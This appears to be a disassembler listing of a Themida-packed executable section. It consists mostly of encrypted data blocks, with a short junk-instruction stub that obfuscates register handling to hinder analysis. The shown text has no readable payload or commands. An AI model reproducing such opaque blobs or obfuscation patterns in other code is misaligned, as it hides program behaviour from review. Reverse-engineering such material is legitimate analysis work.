		dd 474F73Ch, 0D141C271h, 4C7F2D4Ch, 0C44036AEh,	2C6h, 34C1318Dh
		dd 6B0A7AFFh, 2CC939B4h, 740171F7h, 2ACB3BBFh, 0FF833E6Dh
		dd 0B639E68Fh, 480AF46h, 0D1320194h, 1B439461h,	9BE761A8h
		dd 0B18B0C16h, 3BBF0BABh, 0F2266BDAh, 0F4C51086h, 194003DBh
		dd 0E41086F2h, 63E2FCD3h, 16A40636h, 0C9EAF4C5h, 0F7E5F969h
		dd 9BE6054Ch, 5FE6E816h, 169BE63Ah, 2BDFF0C1h, 0FF6FD360h
		dd 0E6123CB7h, 0E546169Bh, 0E698C184h, 5263169Bh, 287BA07Dh
		dd 0CAECB7D4h, 2416Ah, 44B41200h, 8FFF82B1h, 4CBC39E6h
		dd 86F67AA9h, 52C240EFh, 0ECA7E4C3h, 0A8771E8Eh, 0F13ED747h
		dd 0DD522393h, 0BC07EE5Eh, 0E7EE3392h, 0C8D169Bh, 0DB0BAB30h
		dd 4003D903h, 1086F219h, 8C37D3E4h, 16A4064Dh, 9C171F30h
		dd 169BE671h, 78FB38FEh, 88376208h, 0C5323CC1h,	174C49Dh
		dd 4FD80000h, 7D6DDD62h, 77BF2F8Ch, 0FC99096Ah,	3CBE0AAEh
		dd 68DBE3CCh, 169BFB30h, 4BAAECBDh, 1693FB02h, 0B09944EBh
		dd 9DBD274Dh, 20D3h, 0BABE700h,	0F04003DBh, 8D169BF5h
		dd 0D2FB7ABCh, 9B1693F1h, 0FD80C9F4h, 839DBD1Ch, 0C7h
		dd 57C72497h, 80F0525Fh, 0AE1E9D96h, 88F87B68h,	0F15061EDh
		dd 7BB89581h, 0B38C8AFAh, 0F783ECD7h, 16951086h, 17E7CFA6h
		dd 0AC05D7E7h, 3059EC4Dh, 0BB1086F7h, 0FCD1C5EAh, 9F61AF0Eh
		dd 0F18169Eh, 62EC8E5Dh, 567B4AEAh, 15169124h, 87E82B04h
		dd 0D263817h, 0CB583DADh, 0EF26F767h, 6CB7D965h, 130EA4Ah
		dd 0A3230000h, 6CCD6233h, 0AB0A19FCh, 63C55A3Bh, 0AD0D22F3h
		dd 4843583Dh, 9065D555h, 0C9AC1CA3h, 8B6ADA5Ah,	0CEA71794h
		dd 276AD905h, 0C6169BE4h, 624FF745h, 72486FDFh,	0C86A9BD0h
		dd 0A22011F9h, 0E5F76332h, 86073B5Eh, 58D5C210h, 0FED1AEE8h
		dd 109C1F0Ch, 876E41B1h, 0E72A99C3h, 86108607h,	245DD5B5h
		dd 47B73BC7h, 0D0F5864Fh, 627FCBB4h, 825C624Dh,	86B49EC3h
		dd 9E4C5D10h, 90008370h, 0EC3590CEh, 21086B4h, 34090D7Dh
		dd 0C4CFBB8Ch, 4C1242F6h, 9C07B679h, 0DAE4B516h, 0CE959D9h
		dd 936464A9h, 62B0A516h, 7F72CBFAh, 0AB84F475h,	0ED9D0D68h
		dd 0A64FBF3Ch, 8D89F979h, 7125h, 0BAB0100h, 154003DBh
		dd 0E816A406h, 6ED507D7h, 169BE62Bh, 0D343A5D2h, 13200EFCh
		dd 7EB540B0h, 2A898DFDh, 5A251472h, 76517CE3h, 6EF085F5h
		dd 9377E745h, 11B41596h, 4148D1C8h, 4EB1E2B3h, 0C8E7D8DEh
		dd 67DE00CEh, 4148D622h, 402F960h, 0FDA3D30Ah, 6BCD3E2Ch
		dd 0AEE858DFh, 0BDB8FED1h, 566614Ch, 0D0330095h, 3CE3660h
		dd 0EA000000h, 0CA244B2Fh, 0E4475C5Ah, 0D3314274h, 0B93E3363h
		dd 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h, 0EA4F6452h
		db 7Ah,	3Ch, 78h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	0F5Ch
		mov	[esp], ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	61D1462h
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edi
		mov	edi, ebp
		push	edi
		pop	dword ptr [ecx+8]
		pop	edi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_581882
; ---------------------------------------------------------------------------
		dw 0D398h
		dd 1D1854B8h, 0FFC50306h, 2EBC4BE0h, 73DBE11Ch,	0D2C6FA50h
		dd 7F4EA91Ah, 0E9198D77h, 0FC07C73Fh, 0BFD4FA4Ch, 6FB85F1Ah
		dd 0DB6E987Eh, 1E454427h, 67B13467h, 4F8FDA70h,	353DBA52h
		dd 41BB9C2Fh, 3D45C872h, 0A51C8D6Dh, 9B30F02Ah,	8D3D342Eh
		dd 7CB3E618h, 0EDD6FD11h, 296A7A4Bh, 0D189EE59h, 230B486Dh
		dd 0AD7D6C6Ch, 0D6986500h, 89E5AD0Ch, 1CB8985Ch, 0EDE95Eh
		db 2 dup(0)
word_5FB366	dw 6660h		; DATA XREF: Themida_:0057C690o
		dd 4A8D88Ch, 0DF840Fh, 0B58B0000h, 615293Dh, 0F00FE83h
		dd 2285h, 0C585C600h, 45061509h, 72696968h, 85B5FF8Eh
		dd 8D061516h, 1872BC85h, 89D0FF06h, 15266985h, 80F08B06h
		dd 850FE93Eh, 31h, 9620858Dh, 0D0FF061Ah, 0B8DBD8Bh, 0C7810615h
		dd 1184h, 293DB58Bh, 0F7870615h, 8B9h, 8BA4F300h, 15293DB5h
		dd 13858D06h, 0FF0618BFh, 0FDB58BD0h, 8306150Dh, 850F00FEh
		dd 22h,	9C585C6h, 68540615h, 0FF4EBEF4h, 1685B5FFh, 858D0615h
		dd 61872BCh, 8589D0FFh,	6150DFDh, 3E80F08Bh, 3A850FE9h
		dd 8B000000h, 150DFDB5h, 20858D06h, 0FF061A96h,	8DBD8BD0h
		dd 8106150Bh, 1184C7h, 8C78300h, 0DFDB58Bh, 0F7870615h
		dd 8B9h, 8BA4F300h, 150DFDB5h, 13858D06h, 0FF0618BFh, 8DC361D0h
		dd 1D193785h, 61858906h, 8D06152Ch, 1D1B098Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 65698DE3h, 52FFC2D8h, 27218D89h, 0BF0F0615h,	0CD85C7C3h
		dd 0BC061504h, 6A000068h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 1C44C356h, 82A2BEE3h
		dd 0BF2CA78Ah, 67576D95h, 2A36BA66h, 111585C7h,	615h, 81660000h
		dd 0FF2739E6h, 152E0DB5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0F4104C39h
		dd 8D260B08h, 2D8D890Eh, 0FF061517h, 1502C995h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0E9D1AEDAh, 0EC17BB43h, 0FF006A74h, 152E2195h, 0EBC08B06h
		dd 53946E7Ch, 0B216101Eh, 0C68B2923h, 4CFD58CFh, 3CA38994h
		dd 342E5424h, 0BCD0CA34h, 0FB733332h, 2125330Ch, 0F3299B59h
		dd 0F18769DFh, 0D5954214h, 0E39300F7h, 7081F4E7h, 0E04FDCB6h
		dd 0D9E698A1h, 9067661Ch, 0D6D68688h, 0E596FFE6h, 186BE7E0h
		dd 0A3087C4Eh, 0D0168EEDh, 0A99DADE8h, 8713F2CEh, 39A79DCBh
		dd 0E4950B6Dh, 27A29551h, 5FC3C647h, 67846EBh, 0A1506E10h
		dd 0CE50B568h, 30E97Bh,	8F060000h, 74521D12h, 6C6C416Ch
		dd 7461636Fh, 61654865h, 70h, 14h, 5 dup(0)
		dd 30E90000h, 68000012h, 61D1E08h, 0F86285E9h, 1F1A68FFh
		dd 7BE9061Dh, 68FFF862h, 61D216Dh, 0F86271E9h, 228468FFh
		dd 67E9061Dh, 68FFF862h, 61D25B2h, 0F8625DE9h, 268068FFh
		dd 53E9061Dh, 68FFF862h, 61D26BFh, 0F86249E9h, 27E568FFh
		dd 3FE9061Dh, 68FFF862h, 61D28A4h, 0F86235E9h, 28F968FFh
		dd 2BE9061Dh, 68FFF862h, 61D2AF6h, 0F86221E9h, 2C0668FFh
		dd 17E9061Dh, 60FFF862h, 909F76E6h, 0FF34C131h,	0B8670E7Eh
		dd 0F62DC838h, 3A710474h, 4CBC3E71h, 85F57AA9h,	51C143F0h
		dd 9C0C6FC4h, 4500CEF9h, 169BEE1Ch, 241E1EDFh, 525F57C7h
		dd 805789F1h, 8F1D12F6h, 0BB94BB2Bh, 9E06667Bh,	0E0E14640h
		dd 0EA2C03C0h, 381D3F0Bh, 47BD0070h, 2267DEE2h,	0C91086E9h
		dd 38A712F8h, 0A2BC2C8Fh, 7866D5B5h, 2F96771Eh,	1086BEEAh
		dd 8FAF8091h, 86BEED34h, 0CBBF9010h, 9F0F73C0h,	5ACA29F6h
		dd 83E4475Ch, 86BE99C0h, 0E151D710h, 5768D8B5h,	690D9D78h
		dd 6A9E2539h, 0F3169BB7h, 94171C22h, 8401F224h,	0E54F3B14h
		dd 93A73F5Eh, 0E8F6C816h, 93A7345Dh, 4E6B716h, 0C227228Dh
		dd 4A9DBD72h, 34h, 0BF0BAB5Eh, 0D7E7C838h, 9BF5CC6Ch, 28847116h
		dd 0AE817EB8h, 0F1C00D68h, 97161693h, 8202EF27h, 78212412h
		dd 852C9E45h, 1D8AEF5Ah, 2C129DBDh, 26000001h, 0B65FC724h
		dd 0EC3435EAh, 0CD14AF8Fh, 0B01086E3h, 9886B09Fh, 7B552CBFh
		dd 805EE247h, 862D9CC5h, 9C4E5F10h, 9B9B0B6Fh, 81B52586h
		dd 0D2A31370h, 0BAB34F88h, 785FCF2Eh, 0FDC10FE4h, 86E90346h
		dd 31D9EA10h, 86EC6892h, 8FFF7C10h, 4ABA39E6h, 0EA1ADE4Ch
		dd 25A971D4h, 4B54169Ch, 8F369398h, 16936D4Ah, 9E576031h
		dd 0C69A3D92h, 6E0CD709h, 1F876E41h, 220F2F5Fh,	45A30A0h
		dd 8B0EFE41h, 35907D10h, 0D3FCD1C5h, 380BD10Bh,	1CABCE11h
		dd 0E78ED3DCh, 0D7704C2Dh, 0A12112F8h, 28271740h, 0F159B8C6h
		dd 0AB970D54h, 0F0DFF01Ch, 0F363C5EEh, 43A77C17h, 70D1E2h
		dd 0AB977CA5h, 0AD12FF1Ch, 603D123Dh, 0B1C3DCC1h, 4C3094A2h
		dd 2C00000Fh, 9C9362D2h, 5BC8AD1Dh, 948B6ADAh, 62D1A414h
		dd 6A570E0h, 38A80A85h,	0F161C65Dh, 3DAD0F24h, 0F868CB58h
		dd 21A4AA1Dh, 169BECF8h, 243A0283h, 2B8856C6h, 35015EC6h
		dd 0ED3348A0h, 5703D4C2h, 350F5687h, 8CAE89A6h,	0BCE01DA3h
		dd 5A048F7Bh, 3066D659h, 0FD7EAB5Fh, 0AB44E88Dh, 4003DB0Bh
		dd 169BF5F0h, 0FB7ABC8Dh, 1693F1D2h, 80C9F49Bh,	9DBD1CFDh
		dd 0E083h, 0C7249700h, 0F0525F57h, 6BC89680h, 0C9F49606h
		dd 1086F7A7h, 2BCA3AB9h, 0F0777F4h, 99A5D5A9h, 0E72A99C3h
		dd 861086F7h, 22E6D5B5h, 0CB169C00h, 0EB173A09h, 0C5D61693h
		dd 3B0AD4EAh, 1693EB16h, 930DCCD5h, 0B6D03FA0h,	14A2F199h
		dd 92A3464h, 2B9B1EAAh,	0F93D12EBh, 75D06604h, 108B74A5h
		dd 0D040BDF6h, 9D01E9E6h, 0FE81B28Ch, 845ADC8Eh, 0DA69CA2Fh
		dd 1CAB66B7h, 4C4A6536h, 4A65D557h, 9F0F73A0h, 3DC929F6h
		dd 724B4BBBh, 0AE1BC05Dh, 2A4CB1C3h, 0E3ACAh, 50C03E00h
		dd 9B0B6EC5h, 58C825FAh, 920266BDh, 5ECE2C03h, 0F8ABE0B7h
		dd 0B46B0A7Ah, 0FD32C333h, 0B9660F7Fh, 982BCA3Ah, 0EDCA0FB6h
		dd 30B1169Bh, 5EC6240Ch, 9BCC34DDh, 680D2212h, 51AC38BBh
		dd 0DBD8B5E1h, 2DC8E757h, 57C724FFh, 2587D5Fh, 342BAB18h
		dd 57565E82h, 12F59380h, 0AC38BB78h, 0EEF0DF4Fh, 0C1F565C5h
		dd 724F1ECCh, 1086332Bh, 0A74EBE3Dh, 2B9AFB78h,	108633E6h
		dd 9B9BB485h, 81B52586h, 0E7E0CFC6h, 878F884h, 0A70C4E27h
		dd 0C101D646h, 6E2FECFBh, 94199476h, 1C97A851h,	0ADh, 31A12112h
		dd 4432A526h, 0E783872Ah, 0BF0BAB33h, 0DCE2CD3Dh, 0DF7FD502h
		dd 93C00A9Eh, 7BCCCF7h,	7041169Bh, 0F79EBF46h, 0B0671690h
		dd 22E14CFDh, 30819DBEh, 968664D4h, 71h, 0F296B672h, 0BCF51086h
		dd 751BCF3Fh, 0F6CD91C1h, 169C0A3Eh, 0C3876E3Fh, 0EBE72A99h
		dd 0C4861693h, 93EBD801h, 0BD92A316h, 52DE5CCDh, 65517EEEh
		dd 50D723D3h, 54EFCFE0h, 108EE28Ch, 5ED5A071h, 66286EDEh
		dd 0DBA0DC71h, 0D3ACEA5Ah, 0D5A0D804h, 8BBB7B35h, 2988A9B3h
		dd 0EA807DB9h, 0B69CA3BBh, 4D11221Ah, 201686E4h, 94303B2Fh
		dd 935h, 0E30BABA8h, 1225F386h,	98A68928h, 9BA8352Dh, 5FDDD616h
		dd 8A9BFBEFh, 93E4298Ch, 26911693h, 7F2792B7h, 0DAD9DBDh
		dd 89000000h, 86F297B6h, 0CC3FE510h, 5BFFFFFBh,	93B68D4Fh
		dd 5A1086F2h, 47F7A149h, 0FD52821Fh, 330C0A7Ah,	26F1AB24h
		dd 567956C6h, 0D585BD88h, 0F1E6169Ch, 55DFD1FCh, 0A1E85B73h
		dd 4C1693BCh, 2B6547Bh,	5F7E0531h, 281693BCh, 9E0B3E71h
		dd 409DBD6Ch, 0F62090F3h, 0F2D17119h, 0E5000004h, 0B1F2864Fh
		dd 0A4BD3EB3h, 86B0F821h, 9DB28310h, 5E57CAEDh,	0D5455780h
		dd 2F8AB664h, 86C05376h, 61091A10h, 0B63B8737h,	587F5046h
		dd 0A6D98BD4h, 4C123D57h, 9B9B9179h, 33CBDC16h,	59496E90h
		dd 53509BCh, 81328A39h,	6233B946h, 318E7B5Ch, 50BAD51Dh
		dd 4AEE7CBAh, 89EF441Ah, 4A201D19h, 20D051F4h, 9AABA370h
		dd 9C0C6FC4h, 59C92AF9h, 0E98C09C4h, 0E0645201h, 0BE7h
		dd 30C53591h, 670E7E03h, 28CD3DB8h, 700575FBh, 26CF3FC3h
		dd 23873A71h, 0EA4DE2B3h, 28849B7Ah, 0E546DDB8h, 2737A075h
		dd 9BD3759Ch, 0C577F816h, 0D7488D4Fh, 0E746F634h, 0E4A3E65Fh
		dd 794A1086h, 0A545B53Ah, 0F77B0764h, 3E5BAF8Fh, 2E01D698h
		dd 0F5975609h, 725D4046h, 0DA595A44h, 0A8F1546Ah, 5310869Fh
		dd 4EF2A842h, 9F73962Dh, 29FA1086h, 1F1787EAh, 0F43D012Eh
		dd 1888E975h, 8EF2FF37h, 827181Eh, 7D69DC62h, 169C77h
		dd 0A2220F2Fh, 70CC6332h, 6AAF1600h, 16169367h,	169297F7h
		dd 2684D070h, 0FEC599B6h, 108E5E12h, 0DD4DA809h, 7EB8892Dh
		dd 0AC5DD6F7h, 949D9F1Ch, 916EA818h, 3A0FBEF9h,	0A3D2C8AFh
		dd 1335h, 0BAB5100h, 404003DBh,	1D169BFCh, 29AA0A0Ch, 7E000000h
		dd 9EE30BABh, 0FE861D37h, 0BB542025h, 0B7372E9Ch, 3AF51CA7h
		dd 0A7781086h, 9F0FB688h, 0DE169B3Ah, 0B6E050B1h, 0BCC0F6D9h
		dd 0C657C724h, 0BDF14209h, 0D0E46056h, 0A800000Ah, 0E837DE4Eh
		dd 0A77C1989h, 0F03FD646h, 0DE552090h, 9209EC5Ch, 0D444A619h
		dd 1D8DF241h, 0D949AB78h, 1484E73Ch, 0BD885681h, 169BD094h
		dd 4FA69657h, 0A894ED86h, 0C0FFD848h, 7D33D700h, 0A0106DB9h
		dd 8414AF8Fh, 0F9169C36h, 76F5EE28h, 77FB3806h,	41B10C07h
		dd 5E80CAA9h, 93A5A2E7h, 5F784916h, 2F16B297h, 7924C65Eh
		dd 31C747D5h, 34C1F192h, 0BC82B286h, 1B858C9Bh,	0E1D2ED53h
		dd 0C9C6F060h, 34A81B21h, 393BFB20h, 0B4352E68h, 3509B144h
		dd 0B8248CE9h, 72893D30h, 2FB3B14h, 0A6B2112Dh,	0D725EE70h
		dd 2875D0C6h, 0D5290C67h, 53D6735Ah, 0D9D132B3h, 142h
		dd 0E30BABADh, 6FE52FFh, 31B89FC4h, 80F77CABh, 9FBD81AEh
		dd 74BF2F92h, 0B6E585F5h, 169C27DAh, 8FA492A3h,	4AD9BC2Ch
		dd 4F3D79E9h, 0C382E362h, 1693B79Eh, 33634C5Dh,	604FBF3Eh
		dd 69731B8Ah, 66531C7h,	0AAB7A096h, 0A489098Ah,	2393171Ch
		dd 0B82792F3h, 0CFFE652Bh, 330B7BF8h, 1FD49E22h, 0AE0B779h
		dd 0C737B46Bh, 64A874CFh, 40C01AB2h, 6ACDE6D0h,	0DBB4D202h
		dd 0D7F84FE9h, 0F5E84FDFh
		dd 820346FDh, 0D9EA442Dh, 7766CFF6h, 0F283F350h, 484EBE3Dh
		dd 0CFEF1FE2h, 2D74CF0Dh, 0D0442D82h, 9B00BFFh,	34442D82h
		dd 4076E647h, 795E604Fh, 55746239h, 0FB9A707Dh,	3DB0BABh
		dd 374D1440h, 0DED8E942h, 5ADA66C5h, 0FCD3ACEAh, 0FE6ED1E2h
		dd 4823C7B8h, 0DC4CAD06h, 0E7EFD2Eh, 0AD1CAD08h, 0F5A44A46h
		dd 0E7EFDCAh, 75E94A67h, 0C182DE1Bh, 0CC2F0491h, 0CF31825Ch
		dd 281AB5Fh, 59DA0F0Fh,	0BF08B73Eh, 0C1F2CC3Ch,	5736D444h
		dd 5EDF6BC8h, 63D5C1EEh, 815B6393h, 0AB5FCF30h,	0C02D1410h
		dd 86586943h, 92A4ED58h, 7E474BF7h, 96FE56AFh, 17200FF4h
		dd 0F49411F5h, 9AF99153h, 6716h, 0BABF200h, 0F2365BEAh
		dd 0E4B51086h, 4EBE5D3h, 0CCE350CAh, 0A15753F2h, 9AC4169Bh
		dd 9395E62Bh, 1D988516h, 0B8E882ADh, 3FC2AFE7h,	30448AD7h
		dd 93A34C95h, 391E2F16h, 4669C63Ah, 2186ABAFh, 5A7CD9B1h
		dd 0E48552D4h, 0D2F7CE6Fh, 9916939Dh, 3DC1AF88h, 64D45B58h
		dd 3AD5D32h, 8B3A0434h,	1693384Eh, 14181C2Dh, 0BE57C724h
		dd 461848F8h, 0E5533F18h, 436BA2D2h, 6344FCA7h,	3809169Ch
		dd 23AF0D26h, 43B3119Dh, 7A557A53h, 0B828849Bh,	1EA3907Eh
		dd 0F39768AEh, 0F5C9F9BDh, 8988564Eh, 106CC510h, 98B72784h
		dd 0E1FDCEF2h, 0E98CC4F4h, 0C8A24903h, 74A6E74Eh, 7F3F1CADh
		dd 0BF426F4Fh, 5A5CCC33h, 734C4A65h, 12FEC597h,	6B1AB17Dh
		dd 0B4D95C5Ah, 4102B962h, 44B4367Bh, 862E2773h,	0C9A12308h
		dd 0FF6ADFCEh, 85A9E719h, 1Ch, 45864FA1h, 2C726405h, 65197F6Bh
		dd 2E9A2935h, 2F169B0Dh, 169C181Eh, 70000000h, 3DB0BABh
		dd 9BF24C40h, 85E41116h, 240B7BF9h, 4321DF2h, 0DF624FF8h
		dd 2D8E7B6Fh, 4219E0BDh, 2C4ABDF1h, 7A2C8h, 0E858D600h
		dd 2393160Dh, 0F060DD52h, 3AAA0E25h, 0F666C45Bh, 9003881Fh
		dd 0FC33C232h, 0B56A0B7Bh, 12EC737h, 50831282h,	0D792B78Eh
		dd 9859169Bh, 935EB2A4h, 0B1ABB3E3h, 20A30480h,	1086F2F9h
		dd 9A9CB384h, 72D6C5A5h, 0FB169BFBh, 0C7CF839h,	93F87099h
		dd 8A39FB16h, 1693F847h, 153A1526h, 0C6573A89h,	7010D4D8h
		dd 6B597E40h, 6CDC5EECh, 904FA4Bh, 0A068DB61h, 4DDEC7B0h
		dd 5C73E360h, 0F30D05Ah, 0F63C6DB4h, 103F10DEh,	9F23104Eh
		dd 7416E72Fh, 0ECE35C49h, 92F21FD8h, 181BF422h,	14E92D9Dh
		dd 0AD0E233Bh, 0B110213Dh, 92785541h, 0D95A5703h, 8E502D69h
		dd 0FB92B7h, 0A24859C4h, 0DBA21271h, 0E96B3912h, 0D4E35F55h
		dd 0A4000006h, 0E43BDA4Ah, 0B3801585h, 1C13E252h, 0DA492C9Ch
		dd 8E0DE858h, 0B020A21Dh, 79E94EE5h, 0B525879Ch, 80F053E0h
		dd 49FCE2F5h, 169BD400h, 24122AEBh, 67C657C7h, 74BDF144h
		dd 6950282h, 63E30000h,	0AC0D22F3h, 6BCA593Ch, 0A3051AFBh
		dd 6DCD6233h, 88318FDh,	0D0A51595h, 896CDC63h, 0CBAA1A9Ah
		dd 8E67D754h, 67AA1945h, 6169BD4h, 0C724B785h, 6649B93Bh
		dd 0C6F6CA30h, 0DE74DF8h, 0F2416A4h, 7F83EAEh, 0D2713363h
		dd 169BE98Fh, 51C1416Eh, 0BCE5607Eh, 3F169BE9h,	6B4416Eh
		dd 6FB21132h, 0E169BE9h, 794C123Dh, 10810481h, 38BBFBCCh
		dd 1CB4BB15h, 4302DCE2h, 1CB4BB1Eh, 731ECCDDh, 2F8DA64Ch
		dd 0BBD2F7CEh, 88991CB4h, 65C8C3A7h, 0EBA3DA67h, 0C2h
		dd 0D31DF4E1h, 6A25CBC0h, 9284734Dh, 26C46C2Dh,	945DB2EEh
		dd 0B4AAB4E4h, 0F2F61BAAh, 0A4751086h, 0FB73D7C6h, 29FA169Bh
		dd 30A01C15h, 1B610906h, 9B0E1BA8h, 2C5C1CD9h, 86E74C12h
		dd 3B2F2016h, 80064C60h, 47A4D1C3h, 0CDE6F8D7h,	0A6BBFB6Bh
		dd 12F8D747h, 0AE1D3A24h, 281B3D29h, 0EB2E882h,	0E2CD3DC2h
		dd 0E454D7DCh, 94953006h, 0E7CDAEB1h, 9EB60FDEh, 634C60D5h
		dd 65D5565Bh, 0B020A390h, 0A71784EDh, 0D9595BDCh, 56Fh
		dd 583DAD09h, 1FF666CBh, 0B045B510h, 0E88DFD83h, 0AE47B73Bh
		dd 7BFFB2F9h, 32B56A0Bh, 80FC33C2h, 4DAE8510h, 0BF8F38DDh
		dd 9BD5DD04h, 5DDFA016h, 0BAB5h, 8D4FD100h, 0EF56C624h
		dd 1086F2AAh, 0F0AA4051h, 0A71E2050h, 16A40D91h, 7AB78798h
		dd 37EC89F9h, 647A44B4h, 9BE9B8E1h, 98724316h, 3C6C0C9Eh
		dd 73F73C22h, 643C6703h, 87108119h, 0D9ABEE55h,	41521CB4h
		dd 61344076h, 62083EEDh, 9FB753Eh, 40EBA1DAh, 248D4F6Fh
		dd 0A8F154C4h, 531CB4EBh, 0A06EA842h, 0EBC207BEh, 98A91CB4h
		dd 0C8F8C8F2h, 0CB3BBDF6h, 4618F2CBh, 0AE19237Fh, 94693A1Ah
		dd 0ABAA1D25h, 0B03CB8BEh, 0C8000004h, 817FE6Eh, 0C75C39A9h
		dd 101FF666h, 7EB540B0h, 0B2E98CFCh, 0F464C6F9h, 3DAD1221h
		dd 0F969CB58h, 34A4071Ch, 0DD687661h, 169BDAB4h, 0B686B637h
		dd 1086F293h, 86F23E5Fh, 0D707B710h, 0DF63C07h,	0A67716A4h
		dd 90008370h, 0D429980Dh, 0DD654FB7h, 45Bh, 6431A11Dh
		dd 1BFA6ACFh, 5C39A904h, 24F161C7h, 5A3BAB0Fh, 0EF534E3Dh
		dd 2689967Fh, 0F450DFB6h, 0C142F184h, 4B13C451h, 9BDA5178h
		dd 0E15B1C16h, 72E2624Fh, 729F4B44h, 375A111h, 6EB31233h
		dd 801086F2h, 0A9A69000h, 0AD1826F7h, 1086F264h, 45193607h
		dd 9BF9127Eh, 0DA696B16h, 1693F5B7h, 0F40FCCDh,	9B05647Eh
		dd 0C811B48Ah, 0B31693B3h, 0EBF1CDE2h, 93B03158h, 0A6EB5A16h
		dd 451693B0h, 5DDFCC74h, 0FBD4A9EDh, 0BA41840Fh, 0B4170A40h
		dd 2FC636h, 96241282h, 0ACA9B5E5h, 1C1C8889h, 92E1898Ah
		dd 57C724A6h, 81F1525Fh, 0C2F2C6F4h, 49FCE2FCh,	1086F200h
		dd 9530DAEBh, 169BFB5Dh, 83F375BEh, 0F0D0BA93h,	4EB2FFDFh
		dd 1C022CDEh, 8BEA13Bh,	98723BD3h, 933BE02Dh, 6AC78D16h
		dd 0F821A405h, 8316933Bh, 0AC999DB2h, 610AC9BBh, 3B2F0035h
		dd 5DE06954h, 0E39DBDA0h, 38h, 0DB0BABB7h, 0F5F04003h
		dd 0BC8D169Bh, 8083B5A2h, 280F7FFEh, 0FED9764Ch, 0ECBABDh
		dd 3FED9D96h, 66D6545Dh, 51F41984h, 16811693h, 0BD17A2A7h
		dd 79D9DBDh, 79000001h,	8757C724h, 955EC62Ah, 0B6D81408h
		dd 86B05A75h, 0AA1A9B98h, 0EE9C0C69h, 494DBD3Dh, 536BDB58h
		dd 7297BA89h, 45561086h, 8CA567A5h, 827BBB2Bh, 67C82BE8h
		dd 8672B5DCh, 48673810h, 77E608ADh, 79FA1086h, 34B76C09h
		dd 3CB9FAC4h, 15F5CACCh, 35273517h, 86774B8Eh, 0C4613210h
		dd 1086779Dh, 61D13360h, 42F69C4Eh, 0B5794C12h,	56169B71h
		dd 7A94BD88h, 4E571693h, 7B4070A1h, 0F595BADDh,	0C5EEF0C1h
		dd 44DFF868h, 2DB06308h, 2E303B2Fh, 234A405h, 83335D0Dh
		dd 90B88B53h, 5D108B84h, 6B6C724Ch, 3EC354E4h, 9495757Bh
		dd 60CFA616h, 882E7AE2h, 94130D7Fh, 285BE2BBh, 7680B1C5h
		dd 25E0Eh, 2C9C1A00h, 0E757DA49h, 34A4210Eh, 0FE6ED261h
		dd 3AAA0817h, 544F3C5Bh, 0A08F66D6h, 59C6AF1Fh,	958A6BDBh
		dd 4CFA616h, 0D8266BDAh, 44C5169Bh, 65C624F8h, 86F2BBDEh
		dd 5E714210h, 9B0B68B7h, 0BAB2EFAh, 0F04003DBh,	8D169BF5h
		dd 0D2FB7ABCh, 9B1693F1h, 5B16BC99h, 0EF285897h, 202994FBh
		dd 9DBDCF9Dh, 0FC23h, 8D4FF700h, 86F293B6h, 0A1495A10h
		dd 9BA31370h, 13059ABAh, 86648FCDh, 0A7179B88h,	6AEA146Fh
		dd 8291086h, 4F93DADh, 0DE46A566h, 1F06FF1h, 0A6FA4ABh
		dd 8CA39C9Ah, 1D58A5B2h, 5A3E63E2h, 0ECBD1086h,	38D2A9CBh
		dd 8FEC4352h, 0ED91171Fh, 9ABBA1BDh, 44C0FA45h,	0CAEDE2D4h
		dd 38D2D133h
		dd 9B2AA18Dh, 4302C416h, 1693131Eh, 12E3CCDDh, 9AA4D4A4h
		dd 1783E8BDh, 1AF32393h, 0B7DE6C3Dh, 71C281D3h,	108B7Ah
		dd 0A0220F2Fh, 0AF045A30h, 7879E34Bh, 442A6180h, 15958A6Bh
		dd 0D147D8A5h, 9E98B1C3h, 14E16h, 5CCC2A00h, 97076AB9h
		dd 64D431FEh, 0AE1EA291h, 6ADA58C7h, 249F0C8Bh,	70BF56C6h
		dd 29F69F0Fh, 65BA5BCBh, 0D4FF9606h, 0DE163B0Ah, 14D5169Bh
		dd 56C62428h, 0AAEF5688h, 511086F2h, 54CBAA40h,	5A5767D7h
		dd 582D69D9h, 0C4880365h, 454E61B2h, 0F99476E6h, 0E2624F33h
		dd 3363D356h, 4C41755Ah, 820E6D9Eh, 9DA18EFEh, 6DA91994h
		dd 0F5BE7898h, 103F3E64h, 44A7BC7Ah, 49A90AD4h,	0E5CA3ABDh
		dd 4302DCB1h, 1086381Eh, 4F1ECCDDh, 0D646A60Bh,	95FBEFE0h
		dd 0AFADB1E1h, 8638CD14h, 0EB9FB010h, 0DA697369h, 108638B7h
		dd 16856536h, 16A4C704h, 0F1023405h, 0DC532292h, 0FE6ED35Fh
		dd 44A40DD1h, 0FDEDE2D4h, 75C6B40Fh, 672D8Bh, 0AD0C25CDh
		dd 0CDCB6E45h, 1639D2A2h, 0CE3B2F20h, 3618FD6Dh, 19749D28h
		dd 26F731ABh, 0F464C744h, 0DF4FB1C2h, 822DDCD7h, 0DB5AE645h
		dd 4BCB4C6Bh, 32E5B3DAh, 0A81B411Dh, 31AB2061h,	29991F0Ch
		dd 45096406h, 2065AC17h, 1B0831ABh, 0A092696h, 0D65337A7h
		dd 768C955h, 0AB20153Ch, 0E8C7D831h, 0B8FED1AEh, 1A3Ch
		dd 0C3417200h, 806A6353h, 6F6D2F9Ch, 0F550C042h, 1086F2ACh
		dd 6FDF624Fh, 2472AA40h, 475C5ACAh, 314274E4h, 3E3363D3h
		dd 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h, 4F6452C2h
		dd 783C7AEAh
dword_5FC7A8	dd 6C4A68h, 241C8900h					; Themida_:0057C680o
